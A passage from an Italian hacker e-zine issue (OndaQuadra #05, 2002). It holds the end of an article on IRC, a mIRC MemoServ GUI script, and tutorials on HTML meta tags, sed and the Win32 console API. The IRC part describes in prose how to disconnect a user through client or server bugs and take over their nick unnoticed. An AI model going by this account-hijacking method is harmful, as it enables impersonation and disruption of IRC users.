ricorrere a questo | | terzo estremo caso. Questo consiste nel far disconnettere l`utente | | Tizio2 sfruttando per esempio un bug del suo client irc o del server | | irc, magari per risalire al suo ip e farlo disconnettere in qualche | | modo, ve ne sono tanti.. | | Appena sarete riusciti a far disconnettere Tizio2, al piu` presto vi | | connetterete col suo nick e seguirete la procedura del primo caso, | | facendo il piu` velocemente possibile, in modo che quando si | | riconnettera` non notera` nulla di strano (al massimo, se vi trova | | connessi, credera` che voi siate il suo ghost, attenti che vi puo' | | disconnettere dal server!:) Questo terzo caso e` l`unico che non ho | | sperimentato, e quindi sto spiegando solo teoricamente e non posso dire | | altro. | | | | | | .: Conclusioni :. | | | | Come avete potuto vedere il mondo di irc e` molto vasto e credo ci | | sarebbero ancora tante altre cose da scoprire. Ho cercato di spiegare | | in questo testo tutto quello che ho scoperto e sperimentato in irc, | | spero che vi sia piaciuto, che vi abbia interessato e che vi sia stato | | di aiuto. Come sempre vi chiedo di non utilizzare queste cose per fini | | de-produttivi,e quindi di non fare i lamer, l'informazione preferirebbe | | non essere libera piuttosto di trovarsi nelle mani di chi la sfrutta | | nel verso sbagliato. | | | | Per domande, perplessita`, errori riscontrati nel testo o qualunque | | altra cosa scrivetemi a: | | xp_terminator@katamail.com | | | | oppure joinate uno di questi canali: | | #hack #hackmaniaci #uiha #ondaquadra | | di irc.azzurra.org | | oppure | | #hacking | | di irc.discussioni.org. | | oppure | | #mojodo | | di irc.tin.it | | | | Ciao a tutti! | | | | .: RiNgRaZiAmEnTi :. | | | | Ultimi, ma non per importanza, i ringraziamenti: | | | | [Delilah] , Votan : per avermi aiutato nel testing dei vari | | bug, perche` gli voglio un mondo di | | bene ;) e perche` sono la coppia piu` | | bella del mondo :PP | | | | JEYoNE , MightyInquisitor , | | BiGAlex , _KoMe_ , [D3FU] , | | albe : per avermi aiutato (anche se alcuni di | | loro inconscientemente ;)) nel testing | | dei bug | | | | Tritemius , Tdi110CV : per essersi da subito interessati e | | per avermi appoggiato | | | | Tutti quelli che mi conoscono o che mi son dimenticato di ringraziare! | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/2002 | | iNTERFACCiA GRAFiCA PER iL MEM0SERV [Master^Shadow] 0x1D/0x23 | +--------------------------------------------------------------------------+ | | | La Chat e' un grande punto di ritrovo che azzera le distanze in un | | battere di ping :> Ma se non riesco a trovare una persona che cercavo? | | Gli mando unMemo cosi' sono apposto... Un bel comando da status e | | abbiamo mandato il nostro caro Memo al nostro amico preferito. | | Ecco che appena si connette al server trova un nuovo Memo... e list qua | | list la read su read giu' ci sono miriadi di comandi da digitare :) | | Semplifichiamoci la vita con una bella interfaccia grafica | | completamente in mIRC script :> | | | | Questo e' il codice da usare per la realizzazione della "gui dei | | desideri" opportunamente commentato per Onda Quadra: | | | | [PREMESSA] | | Dovete conoscere un po' di mIRC scripting perche' non sto a spiegare a | | cosaserve una pulce di codice poiche' annoierei chi il mIRC | | scripting lo | | conosce gia'! I commenti sono anticipati da ";" | | [PREMESSA END] | | | | on ^*:NOTICE:*:?: { | | if ( $nick == MemoServ ) { | | ;esegue il codice se chi ti "chiama" e' il MemoServ | | | | if ( $1 == Hai ) && ( $2 isnum ) { echo -a Hai $2 nuovi memo scrivi | | /mread per usare l'interfaccia grafica) } | | ;controlla che la prima parola sia "Hai" e che il secondo parametro | | ;sia numerico, allorche' esegue un echo locale nella finestra attiva | | | | if ( $1 == Hai ) && ( $2 isalpha ) { echo -a Hai un nuovo memo da | | parte di $8 (scrivi /mread per usare l'interfaccia grafica) } | | ;se il secondo termine e' una parola e il primo e' "Hai" richiama un | | ;echo locale nella finestra attiva | | | | if ( $1 == Non ) && ($3 == nessun ) { .did -r msgui 4 | .did -a msgui | | 4 $strip($1-) } | | ;se il primo termine e' "Non" e il terzo è "nessun" azzera la | | ;visualizzazione dei memo dell'interfaccia e aggiunge la stringa | | ;inviata dal memoserv nell'interfaccia rimosse tutte le formattazioni | | ;[da $strip] e' stato fatto cio' per evitare visualizzazioni di | | vecchi | | ;memo | | | | if ( $1 == * ) || ( $1 == *D ) { if ( $dialog(msgui) != null ) { .did | | -a msgui 2 $2 - Mittente: $strip($5) } } | | ;se il primo segmento e' uguale a "*" o a "*D" e la dialog è presente | | ;viene aggiunto una voce alla lista dei messaggi riportando anche il | | ;mittente e' per la visualizzazione dei memo non ancora letti | | | | if ( $1 isnum ) && ( $3 == Mittente: ) { if ( $dialog(msgui) != $null) | | { .did -a msgui 2 $1 - Mittente: $strip($4) } } | | ;se il primo termine e' numerico e il terzo è "Mittente:" controlla se | | ;la dialog e' visualizzata e aggiunge alla lista memo e mittente | | ;viene usata per l'elenco di tutti i memo (letti o no) | | | | if ( %letturamessaggio == on ) && ( %noticeinviate <= 3 ) { | | inc %noticeinviate | | if ( %noticeinviate == 1 ) .did -r msgui 4 | | .did -a msgui 4 $strip($1-) $+ $crlf } | | else { unset %noticeinviate | unset %letturamessaggio } } } | | ;se la lettura dei messaggi e' abilitata e le notice ricevute sono | | ;minori o uguali di 3 allora incrementa di uno le notice ricevute. | | ;se la notice inviata dal memoserv e' la prima allora | | resetta l'editbox | | ;di visualizzazione aggiunge una riga senza formattazione alla editbox | | ;se la lettura dei messaggi e' terminata e le notice inviate superano | | ;il valore 3 allora rimuove le due variabili | | | | alias mread { dialog -m msgui msgui } | | ;crea l'alias mread richiamabile da status. questo va a eseguire il | | ;comando dialog per far apparire l'interfaccia grafica. | | | | dialog msgui { | | title "Memoserv GUI" | | size -1 -1 300 195 | | option dbu | | | | button "Chiudi", 1, 250 175 40 15, ok | | list 2, 10 15 280 70, sort | | box "Messaggi in arrivo", 3, 5 5 290 80 | | edit "Clicca su un memo in arrivo", 4, 10 90 280 80, read multi | | | | button "Cancella memo" 10, 10 175 40 15 | | button "Purge" 11, 60 175 40 15 | | button "Leggi tutti" 12, 110 175 40 15 | | } | | ;definizione degli elementi della dialog box usata per la costruzione | | ;della gui per il memoserv. le parti fondamentali hanno numerazione | | ;unitaria mentre le componenti opzionali hanno indice maggiore di 10. | | ;Tutto cio' viene fatto soltanto per migliorare la lettura del | | codice e | | ;permettere eventuali modifiche al codice anche a distanza di tempo | | ;dalla prima stesura. | | ;l'edit e' stata necessariamente impostata in sola lettura ed ha la | | ;proprieta' di essere multilinea. | | | | on 1:DIALOG:msgui:sclick:1:{ | | unset %letturamessaggio | unset %noticeinviate | | } | | ;alla pressione del bottone di chiusura vengono rimosse le variabili | | ;letturamessaggio e noticeinviate | | | | on 1:DIALOG:msgui:init:0:{ | | if ($server != $null) .ms list new | | } | | ;nella fase di inizializzazione verifica la connessione ed | | ;eventualmente richiede al memoserv l'invio della lista dei nuovi memo | | | | on 1:DIALOG:msgui:sclick:2:{ | | set %letturamessaggio on | | set %noticeinviate 0 | | .did -r msgui 4 | | if ($server != $null) .ms read $left($did(msgui,2).seltext,1) | | } | | ;procedura di inizializzazione per la lettura di un messaggio. | | ;setta le variabili e cancella il contenuto dell'editbox; in seguito | | ;controlla la presenza di una connessione e, se presente, chiede la | | ;lettura del memo selezionato nella listbox. | | | | on 1:DIALOG:msgui:sclick:10:{ | | if ($server != $null) { if ( $?!="Vuoi veramente contrassegnare per | | l'eliminazione il memo selezionato?" == $true ) { .ms del | | $left($did(msgui,2).seltext,1) | did -o msgui 2 $did(msgui,2).sel | | $did(msgui,2).seltext $+ $chr(32) $+ - $+ $chr(32) $+ Segnato come da | | cancellare } } | | } | | ;nel caso si clicchi il bottone per la contrassegnazione dei messaggi | | ;da cancellare controlla la connessione, chiede conferma e, in caso di | | ;risposta affermativa, invia la richiesta al memoserv. In seguito | | ;modifica la voce della lista e aggiunge in coda | | ;" - Segnato come da cancellare". | | | | on 1:DIALOG:msgui:sclick:11:{ | | if ($server != $null) { if ( $?!="Vuoi veramente eliminare | | definitivamente i memo selezionati?" == $true ) { | | .ms purge | =did -rm msgui 2 | .did -r msgui 4 } } | | } | | ;pressione del bottone Purge | | ;controlla la connessione e chiede conferma. se affermativa procede | | ;all'eliminazione definitiva inviando la richiesta al server e | | ;cancellando le voci nelle varie liste e box. | | | | on 1:DIALOG:msgui:sclick:12:{ | | did -r msgui 2 | if ($server != $null) { .ms list } | | } | | ;rimuove la lista dei memo e se connesso invia la richiesta della | | ;lista al memoserv. | | | | FINALMENTE QUESTO SCRIPT TERMINA :-) | | Ricordo a tutti quanti che lo script e' ancora in pura fase di testing | | e ho sfruttato Oq anche per aumentarne la diffusione vista la | | famosissima licenza GPL che assoggetta anche questo carissimo pezzo di | | codice.Modificatelo come volete e soprattutto fixate i bug (sempre se | | ne trovate:). | | | | Allego a questo testo l'originale msgui.mrc | | | | In chiusura volevo ringraziare tutti quelli che supportano il mio | | (bellissimo) sito www.pcimprover.it e tutti quelli che mi conoscono. | | In particolare: HX Crew, gli amici Spippolatori (ciao Vinx2o2o :), | | l'UIC del mitico papero (QUEEEEEEEE), OndaQuadra, Souffle e tutti | | quelli che dimentico sempre... | | | | Un saluto a Simplex che se ne e' uscito dalla ML di HX senza un | | apparente motivo :-| (forse gli sto sulle palle :P). | | | | Ciao cari utenti!!! | | Master^Shadow / HX since 1999 | | Email: mastershadow pcimprover it | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/200 | | i META TAGS [MightyInquisitor] 0x1E/0x23 | +--------------------------------------------------------------------------+ | | | --[ Indice | | | | 1 - Introduzione | | | | 2 - Esempio | | | | 3 - Spiegazione | | | | 4 - Saluti | | | | | | --[ 1 - Introduzione | | | | I meta tags vengono usati per una maggior identificazione del sito, ma | | anche per il selezionamento del sito in questione nei motori di ricerca | | (quali yahoo, altavista e altri), ma non solo. | | Molti siti fanno uso dei meta tags (specialmente quelli commerciali). | | | | I meta tags fanno parte del codice html di una pagina e sono situati tra | | il tag il tag . Essi possono essere inseriti a mano su | | ogni pagina del sito o quanto meno nella pagina principale che si | | presume sia la home page (di solito index.htm o default.htm, ma non | | sempre). | | | | | | --[ 2 - Esempio | | | | Segue un esempio completo di meta tag di una pagina html qualsiasi | | | | | | Titolo che appare nella barra del titolo in alto | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | --[ 3 - Spiegazione | | | | EXPIRES | | | | Questo tag viene usato per informare il browser del visitatore della | | data di aggiornamento automatico della pagina in questione. | | Indirettamente puo' essere utilizzato anche per controllare la directory | | cache del visitatore. | | Esempio: Nel caso che la pagina si sia aggiornata, il browser fara' una | | richiesta (request) al sito e prendera' la nuova versione della pagina, | | non leggendo la pagina vecchia della cache. Nel caso sia stato | | utilizzato un valore "illegale" nel content, per esempio lo 0 (zero), | | questo causera' che lo stesso utente che rientra ogni volta nella pagina | | tramite browser ne veda la versione aggiornata. E' da tener presente che | | la data del CONTENT deve essere inserita nel formato RFC850. | | | | CONTENT-TYPE | | | | Questo tag viene usato per informare il browser del settaggio di | | caratteri che sono usati nel sito in questione. Normalmente questo tag | | viene inserito di default dagli editor html avanzati (quali DreamWeaver | | e altri...). | | | | REFRESH | | | | Questo tag specifica il tempo di aggiornamento di una determinata | | pagina del sito, opzionalmente pero' puo' essere utilizzato per il | | redirect ad altre pagine o siti. | | | | WINDOW-TARGET | | | | Questo tag specifica il nome della finestra nella quale la pagina e' | | aperta, puo' anche essere usato per evitare apertura di nuove finestre | | in nuove sessioni del browser. | | | | SET-COOKIE | | | | Questo tag immette un valore al "cookie" di Netscape Navigator. I valori | | con la data scaduta saranno considerati permanenti e saranno salvati | | sull'hd alla chiusura del browser. | | | | Esiste un'altra categoria di meta tags ovvero i cosidetti META NAMES che | | sono usati per altri tipi di controlli che, a differenza dei META | | HTTP-EQUIV, non corrispondono alle chiamate http. | | | | TITLE | | | | Questo tag identifica il titolo del sito nei motori di ricerca, quindi | | non ha molto a che vedere con il tag . | | | | DESCRIPTION | | <META NAME="Description" CONTENT="Questo sito e' di MightyInquisitor"> | | Questo tag serve per dare una breve descrizione del sito che potrebbe | | essere visualizzata anche nei motori di ricerca per l'appunto proprio | | come descrizione. | | | | KEYWORDS | | <META NAME="Keywords" CONTENT="MightyInquisitor,meta tags,ondaquadra"> | | Questo tag specifica le parole che identificano il sito e che quando | | vengono inserite da un utente in un motore di ricerca, appare, tra gli | | altri, anche il nostro sito. | | | | GENERATOR | | <META NAME="Generator" content="Pico"> | | Questo tag e' usato per informare il visitatore, con quale editor e' | | stata creata la pagina in questione. | | | | AUTHOR | | <META NAME="Author" CONTENT="MightyInquisitor"> | | Questo tag e' usato per informare l'utente del nome, nick, nomignolo o | | societa' che e' stato l'autore della pagina in questione. | | | | Bene, i meta tags sono finiti, fatene buon uso... | | | | | | --[ 4 - Saluti | | | | Un saluto va a _FlatMary_,_ph0b0s_,ADvAnCeD`,Aladdin,Alton2,AnarKya, | | bart99,BiGAlex,bitflesh,blueangel,c1cc1o,Cujo,DanteAlighieri, | | Dark-Angel,E4zy,FeltonSpray,fen0x,goony,haikia,Isuh`,JEYoNE,jeremia, | | josh,kazuma,kEwL`,lesion,Lo0ker,loox,makno,Master^Shadow,MorningStar, | | MrWolf,NetPhantom,Nick1,nix,PincoPall,PsYcHo,qUiCkSoRt,Raptor_,reef, | | reizh,risk,Screener_it,Sensos,SirPsychoSexy,spyro,Tak3r,Tdi110cv, | | ThEgAmEr,TheMR,Triny,Tritemius,ValK,Valnir,Vinx2o2o,Weisses,XaNThiC`, | | xian,XpTerminator,ZeroByte^,^Irene^,^[case]^ e [Net_DiggEr]. | | | | | | MightyInquisitor | | <mightyinquisitor@ondaquadra.cjb.net> | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #05 - 14/01/2002 | | SED [Domin3] 0x1F/0x23 | +--------------------------------------------------------------------------+ | | | SED, ossia editor di flusso (Stream EDitor), e' un programma utilizzato | | per effettuare delle operazioni sul flusso di dati in entrata | | (proveniente sia da un file, sia da una pipeline), emettendo il | | risultato attraverso lo standard output (cosa che permette il suo | | utilizzo in pipeline complesse, peculiarita' di SED). | | | | In pratica, al momento dell'esecuzione del binario SED (/bin/sed), | | questo legge riga per riga il testo che gli viene passato, e per ognuna | | di queste righe verifica se cio' che sta leggendo soddisfa una certa | | condizione, eseguendo in tal caso delle istruzioni. | | | | Una riga di comando SED e' quindi composta essenzialmente da 2 parti: un | | INDIRIZZO che indica quali righe prendere in considerazione, e una | | ISTRUZIONE da eseguire per quella riga. | | | | | | ToC: | | | | 1) INTRODUZIONE | | 2) SELEZIONE DELLE RIGHE | | 3) SPAZIO BUFFER | | 4) I COMANDI | | | | | | INTRODUZIONE | | | | L'utilizzo di SED avviene sia tramite riga di comando sia attraverso uno | | script (con intestazione #!/bin/sed -f), i quali possono contenere una o | | piu' istruzioni da applicare. Le opzioni che e' possibile passargli | | sono: | | | | -V --version | | | | Stampa il numero di versione di SED ed esce. | | | | -h --help | | | | Stampa il sommario delle opzioni di comando ed esce. | | | | -n --quiet --silent | | | | L'istruzione di default di SED e' di stampare comunque la riga letta al | | termine del vaglio delle condizioni. Con una di queste opzioni, SED | | stampera' una riga soltanto se verra' esplicitamente indicato. | | | | -e comando --expression=comando | | | | Aggiunge il comando indicato alla serie di istruzioni eventualmente gia' | | date. (E' possibile cosi' dare piu' di un comando tramite linea di | | comando.) | | | | -f file_script --file=file_script | | | | Aggiunge i comandi indicati nel FILE_SCRIPT ai comandi vagliati | | dall'interprete. | | | | Esempio: | | | | sed -n -e '/.\{5,\}/p' prova.txt | | | | Stampa soltanto le righe di "prova.txt" contenenti piu' di 5 caratteri. | | (notare le \ usate per proteggere le {} dalla lettura della shell). | | | | Per la spiegazione delle RegEx (Regular Expression) vi rimando subito | | all'altro testo che ho scritto, perche' non rispiego... e leggetelo, che | | vi serve! :-) | | | | La "p" fa in modo che, anche in modalita' "-n" vengano stampate le righe | | verificate (attendete la sezione "COMANDI" !). | | | | | | SELEZIONE DELLE RIGHE | | | | Come sopracitato, SED viene istruito in modo da applicare determinate | | operazioni su alcune porzioni di testo; esattamente, e' possibile | | determinare su quali righe intraprendere un'operazione coi seguenti | | metodi (INDIRIZZI): | | | | - numero | | | | E' possibile indicare esplicitamente il numero di linea. (Nel caso | | vengano passati piu' di un file all'interprete, SED li considerera' come | | facenti parte di un unico documento, e quindi contera' le linee senza | | ricominciare da 0 passando da un file ad un altro). | | | | - first~step | | | | Questa espressione combacera' con ogni STEPesima linea a partire dalla | | riga numero FIRST. Ad esempio, nel caso di 1~3, SED leggera' la riga | | numero 1 ed eseguira' delle istruzioni; dopo, quando le righe numero 2 e | | 3 passeranno al vaglio di questa definizione, le istruzioni non saranno | | eseguite; in seguito, arrivata la linea 4, verranno eseguiti i comandi, | | per la 5 e la 6 invece no, per la 7 si' e cosi' via... | | | | sed -n '1~2 p' prova.txt # stampa soltanto le righe dispari | | | | - $ | | | | Indica l'ultima linea dell'ultimo file. | | | | - /regex/ | | | | Questa istruzione selezionera' tutte le righe che combaciano con la | | RegEx indicata tra le "/" . | | | | - \%regex% | | | | Stessa cosa della precedente. Questa sintassi permette di usare un | | delimitatore diverso dallo "/" (in questo caso %, ma vale per qualunque | | carattere o simbolo). In questo modo non si dovra' far precedere il | | simbolo "/" da una "\" | | di escape (ma dovra' essere quotato, eventualmente, il simbolo %). | | | | - /regex/I ( \%regexp%I ) | | | | Utilizza la regex in modo case-insensitive. | | | | - selezione1,selezione2 | | | | Agisce sulle linee comprese fra quelle individuate da SELEZIONE1 e | | quelle individuate da SELEZIONE2. | | | | sed -n '10,20 p' prova.txt # stampa le righe da 10 a 20 | | | | - selezione1,selezione2! | | | | Inverte la selezione del costrutto precedente. | | | | | | Se non viene specificato alcun indirizzo, vengono stampate tutte le | | righe. | | | | | | SPAZIO BUFFER | | | | SED possiede due spazi in cui gestisce il flusso di dati: PATTERN SPACE | | e HOLD SPACE . Il primo e' lo spazio in cui viene copiata la riga letta | | in quel momento dall'interprete, destinata ad essere manipolata e/o | | stampata, mentre il secondo e' uno spazio riservato ad alcuni comandi, e | | utilizzato per realizzare un output piu' complesso. | | | | | | I COMANDI | | | | - # | | | | Indica un commento, per cui tutto cio' che seguira' questo simbolo fino | | ad un ritorno a capo verra' ignorato. | | | | - s/regex/rimpiazzo/opzioni ( s%regex%rimpiazzo%opzioni ) | | | | Il comando "s" sostituisce la porzione di PATTERN SPACE che combiacia | | con la REGEX, con la stringa indicata da RIMPIAZZO. Con l'utilizzo di () | | e' possibile associare alcuna parti della sottostringa a delle variabili | | (indicate come \n con 0<n<9): | | | | s/\(.*\)@\(.*\)/\2@\1/p | | | | Questo comando inverte le parti di un indirizzo e-mail. | | (Ancora una volta, attenzione alle \ per il quoting!). | | | | E' possibile, all'interno di RIMPIAZZO, fare riferimento all'intera | | sottostringa con la variabile &. | | | | s/.*@.*/\" & \"/p | | | | Stampa l'indirizzo e-mail racchiuso da " ". | | | | Ecco invece la lista delle OPZIONI disponibili: | | | | g Applica il rimpiazzo a tutte le corrispondenze e non soltanto | | alla prima. | | p Se viene fatta una sostituzione, viene stampata la stringa | | risultante. | | (Se "-n" e' assente, nel caso di GNU/Linux la riga e' stampata 2 | | volte). | | numero Viene sostituita solo la corrispondenza numero NUMERO. | | | | Queste opzioni valgono anche come comandi: | | | | w file L'eventuale sostituzione viene scritta su FILE. | | I Rende la regex case-insensitive. | | q Esce senza eseguire nessun altro comando ne' analizzando altre | | linee. | | d Cancella il PATTERN SPACE, e passa alla riga successiva. | | n Permette di passare direttamente alla riga successiva | | (se "-n" non e' specificato, la linea abbandonata viene prima | | stampata). | | | | - {} | | | | Permettono di raggruppare piu' comandi per un unico indirizzo. | | (NOTA: la parentesi di chiusura } deve stare in una riga vuota). | | | | #!/bin/sed -nf | | | | /[[a-zA-Z]]*/ { | | p w output.txt | | } # questa parentesi deve stare per cazzi suoi!! | | | | Lo script stampa le righe contenenti soltanto lettere sia sullo schermo | | sia sul file "output.txt". | | | | - y/caratteri-originali/caratteri-sostitutivi/ | | | | In questo modo, e' possibile sostituire determinati caratteri con degli | | altri. CARATTERI-ORIGINALI e CARATTERI-SOSTITUTIVI devono contenere LO | | STESSO NUMERO di caratteri. | | | | y/abc/xyz # sostituisce le "a" con "x", le "b" con "y" e le "c" | | con "z". | | | | - a\ | | testo | | | | Prima che una nuova riga sia letta, la stringa indicata da TESTO viene | | stampata. | | | | - i\ | | testo | | | | Stampa immediatamente la stringa indicata da TESTO. | | | | - c\ | | testo | | | | Cancella il PATTERN SPACE contenente la riga corrispondente | | all'indirizzo, e al suo posto vi piazza la stringa TESTO, che verra' | | stampata. Immediatamente dopo SED passera' alla linea successiva. | | | | - = | | | | Stampa il numero della linea corrente. | | | | - l | | | | Stampa la linea in maniera particolare: i caratteri non stampabili e | | speciali vengono scritti nella forma "quotata", e la fine della riga e' | | contrassegnata da un $. | | | | - r file | | | | Alla fine di un ciclo o al passaggio ad una nuova linea viene stampato | | il contenuto di FILE. | | | | - D | | | | Cancella il contenuto del PATTERN SPACE fino ad incontrare un ritorno a | | capo. Se il PATTERN SPACE contiene ancora dei caratteri, questi vengono | | passati come se fossero un'altra riga. | | | | - N | | | | Aggiunge un ritorno a capo e la riga successiva al PATTERN SPACE. | | | | - P | | | | Stampa la parte di PATTERN SPACE che precede un newline. | | | | - h | | | | Rimpiazza il contenuto dell'HOLD SPACE con il contenuto del PATTERN | | SPACE. | | | | - H | | | | Aggiunge un ritorno a capo e il contenuto del PATTERN SPACE al contenuto | | dell'HOLD SPACE. | | | | - g | | | | Rimpiazza il contenuto del PATTERN SPACE con il contenuto dell'HOLD | | SPACE. | | | | - G | | | | Aggiunge un ritorno a capo e l'HOLD SPACE al contenuto del PATTERN | | SPACE. | | | | - x | | | | Scambia i contenuti dell'HOLD e del PATTERN SPACE. | | | | - : etichetta | | | | Definisce un'ETICHETTA a cui i comandi b e t faranno riferimento, senza | | compiere altre operazioni. | | | | - b etichetta | | | | Passa alla lettura della riga contrassegnata da ETICHETTA, ed esegue le | | istruzioni a partire da quel punto. Se ETICHETTA e' omesso, SED passa | | alla lettura di una nuova riga. | | | | - t etichetta | | | | Come b, passa a ETICHETTA, ma soltanto nel caso sia stata effettuata una | | sostituzione nell'ultima riga letta. Se ETICHETTA e' omesso, SED passa | | alla lettura di una nuova riga. | | | | | | THE END :-/ | | | | Cia' statt buon :-) | | | | by Domin3 from DarK KnightS | | | | Mail: drkdomin3@yahoo.it | | WWW: http://www.drkknights.net | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [L0 SCiAMAN0] #05 - 14/01/2002 | | 0PERAZi0Ni iN C0NS0LE S0TT0 WiN32 [_d31m0s_] 0x20/0x23 | +--------------------------------------------------------------------------+ | | | Questo breve tutorial ha lo scopo di spiegare come scrivere un | | programma che interagisca con la console (il prompt del DOS ;) sotto | | Windows. Al posto di usare l'int21h come si faceva una volta quando si | | programmava in ambiente DOS, si possono usare alcune funzioni messe a | | disposizione dal sistema operativo Windows per scrivere comodamente dei | | caratteri in console, leggere l'input dell'utente, e anche cambiare i | | colori del testo e/o dello sfondo su cui scriviamo. Le funzioni che | | andremo ad analizzare in questo tutorial sono le seguenti: | | WriteConsole | | WriteFile | | ReadConsole | | ReadFile | | SetConsoleTextAttribute | | SetConsoleCursorPosition | | Scrittura di stringhe in console: | | Per scrivere delle stringhe (sequenze di caratteri) in console, si | | possono usare pressochè indifferentemente due funzioni: la WriteConsole | | e la WriteFile | | le dichiarazioni C di queste due funzioni sono: | | BOOL WriteConsole( | | HANDLE hConsoleOutput, // handle to a console screen buffer | | CONST VOID *lpBuffer, // pointer to buffer to write from | | DWORD nNumberOfCharsToWrite, // number of characters to write | | LPDWORD lpNumberOfCharsWritten, // pointer to number of | | characters written | | LPVOID lpReserved // reserved | | ); | | BOOL WriteFile( | | HANDLE hFile, // handle to file to write to | | LPCVOID lpBuffer, // pointer to data to write to file | | DWORD nNumberOfBytesToWrite, // number of bytes to write | | LPDWORD lpNumberOfBytesWritten, // pointer to number of | | bytes written | | LPOVERLAPPED lpOverlapped // pointer to structure for | | overlapped I/O | | ); | | | | Come potete notare... le due dichiarazioni sono pressochè identiche! | | L'unica cosa che cambia (non a caso) è l'ultimo parametro che per la | | WriteConsole non è usato (va messo a NULL), mentre per la WriteFile è | | il puntatore ad una struttura OVERLAPPED (per le operazioni asincrone). | | E' lecito pensare che la WriteConsole non fa che richiamare a sua | | volta la WriteFile. Infatti, la WriteFile può essere usata per scrivere | | in console, esattamente come la WriteConsole: infatti, tutto quello che | | cambia è il nome della funzione. L'unica differenza stando alla SDK è | | che la WriteConsole permette di scrivere caratteri in modo UNICODE | | oltre che ad ANSI. Differenza che per i nostri scopi non conta | | pressochè niente. Ma ora analizziamo più in dettaglio la prima funzione | | (il cui significato dei parametri è lo stesso anche per la | | seconda funzione): | | La funzione WriteConsole non fa altro che scrivere una stringa di testo | | nella posizione del punto di inserimento corrente, e accetta 5 DWORD | | come paramentri (cioè 5 variabili da 4 bytes l'una). Il valore di | | ritorno è una DWORD ritornata nel registro a 32bit eax, come per tutte | | le altre funzioni dell'API di Windows. Il valore di ritorno della | | funzione è 0 se la funzione fallisce (cioè qualcosa va storto, cioè | | normalmente per avergli passato dei parametri sbagliati), diverso da | | zero se la funzione ha successo. Il primo parametro è uno handle al | | buffer di output della console. Uno handle non è altro che un numero a | | 32bit che identifica un "oggetto" nel sistema. Per ottenere questo | | "numero" possiamo usare la funzione API GetStdHandle: | | HANDLE GetStdHandle( | | DWORD nStdHandle // input, output, or error device | | ); | | questa funzione accetta un unico parametro e ritorna in eax l'handle | | del dispositivo desiderato. Il parametro deve essere una delle | | seguenti costanti: | | STD_INPUT_HADLE lo standard input | | STD_OUTPUT_HANDLE lo standard output | | STD_ERROR_HANDLE lo standard error | | dato che noi vogliamo scrivere qualcosa, ci interesserà sapere l'handle | | per lo standard output. | | Il secondo parametro è un puntatore alla stringa che vogliamo scrivere | | nella console. Il puntatore in questo caso non è altro che l'indirizzo | | del primo carattere della stringa. | | Il terzo parametro serve a dire alla funzione quanti caratteri vogliamo | | scrivere. Normalmente questo valore deve contenere la lunghezza della | | stringa che vogliamo scrivere. Per esempio, se vogliamo scrivere "Hello | | World!", passeremo come terzo parametro 12. Se indichiamo un numero | | maggiore della lunghezza del buffer puntato dal secondo parametro, la | | funzione andrà avanti a scrivere i bytes negli indirizzi successivi di | | memoria (che non è proprio quello che vogliamo :), se indichiamo invece | | un numero minore della lunghezza della nostra stringa saranno scritti | | solo i primi N caratteri della nostra stringa, se mettiamo 0 non verrà | | scritto assolutamente nulla :) | | Il quarto parametro è un puntatore ad un buffer che conterrà, quando la | | funzione ritorna, il numero di caratteri effettivamente scritti in | | console. Normalmente il numero scritto in questo buffer sarà uguale a | | quello da noi indicato nel precedente parametro. Se a noi non interessa | | sapere questa informazione, possiamo passare NULL come quarto parametro | | al posto dell'indirizzo del buffer. (Su Windows2000, questo non dà | | alcun problema, ma su Win95 mi è stato riferito che fa crashare però il | | programma... thanks TheMr) | | Il quinto parametro deve essere NULL (o un puntatore ad una struttura | | OVERLAPPED nel caso usiate WriteFile). | | Ora sapete quindi scrivere in console! | | Lettura di dati dalla console: | | Per leggere dati dalla console, il procedimento è molto simile, basterà | | utilizzare la ReadConsole o la ReadFile. Queste funzioni leggono i dati | | scritti in console fino all'invio (e successivamente flushano il | | buffer). Vediamone le dichiarazioni: | | BOOL ReadConsole( | | HANDLE hConsoleInput, // handle to a console input buffer | | LPVOID lpBuffer, // address of buffer to receive data | | DWORD nNumberOfCharsToRead, // number of characters to read | | LPDWORD lpNumberOfCharsRead, // address of number of characters read | | LPVOID lpReserved // reserved | | ); | | BOOL ReadFile( | | HANDLE hFile, // handle of file to read | | LPVOID lpBuffer, // pointer to buffer that receives data | | DWORD nNumberOfBytesToRead, // number of bytes to read | | LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read | | LPOVERLAPPED lpOverlapped // pointer to structure for data | | ); | | come potete notare, la struttura delle due funzioni è praticamente la | | stessa, eccetto per l'ultimo paramentro, per il quale vale lo stesso | | discorso fatto in precedenza. Il significato dei parametri mi sembra | | abbastanza chiaro, ed è molto simile a quello delle due funzioni | | precedenti: il primo parametro è l'handle allo standard input, che si | | ottiene dalla funzione GetStdHanle passando a questa come parametro non | | STD_OUTPUT_HANDLE, ma STD_INPUT_HANDLE. Il secondo parametro è un | | puntatore ad un buffer che sarà usato per contenere i caratteri letti | | dalla console. La dimensione di questo buffer deve essere sempre | | maggiore o uguale al terzo parametro, che indica infatti il numero di | | caratteri che devono essere letti dalla console. Se la dimensione del | | buffer fosse minore del numero di caratteri letti dalla console, c'è il | | rischio di sovrascrivere i dati contenuti in posizioni di memoria | | successive a quelle occupate del buffer. Il quarto parametro vuole un | | puntatore al buffer di 4 byte che conterrà il numero di cara | | ALTRE OPERAZIONI CON LA CONSOLE: | | Modifica dei colori del testo e dello sfondo della console: | | per svolgere questa operazione, si può usare la comoda funzione | | SetConsoleTextAttribute: vediamola in dettaglio: | | BOOL SetConsoleTextAttribute( | | HANDLE hConsoleOutput, // handle to console screen buffer | | WORD wAttributes // text and background colors | | ); | | questa semplice funzione vuole come primo parametro l'handle allo | | standard output della console, ottenibile (ormai l'avete capito) dalla | | GetStdHandle(STD_OUTPUT_HANDLE). Il secondo parametro è una WORD (2 | | bytes) ottenuta come combinazione di alcune costanti (elencate tra | | poco) che definiscono il colore di sfondo e il colore del testo dei | | caratteri scritti in console DOPO aver chiamato questa funzione. Queste | | costanti sono: | | FOREGROUND_BLUE //il testo appare blu | | FOREGROUND_GREEN //il testo appare in verde | | 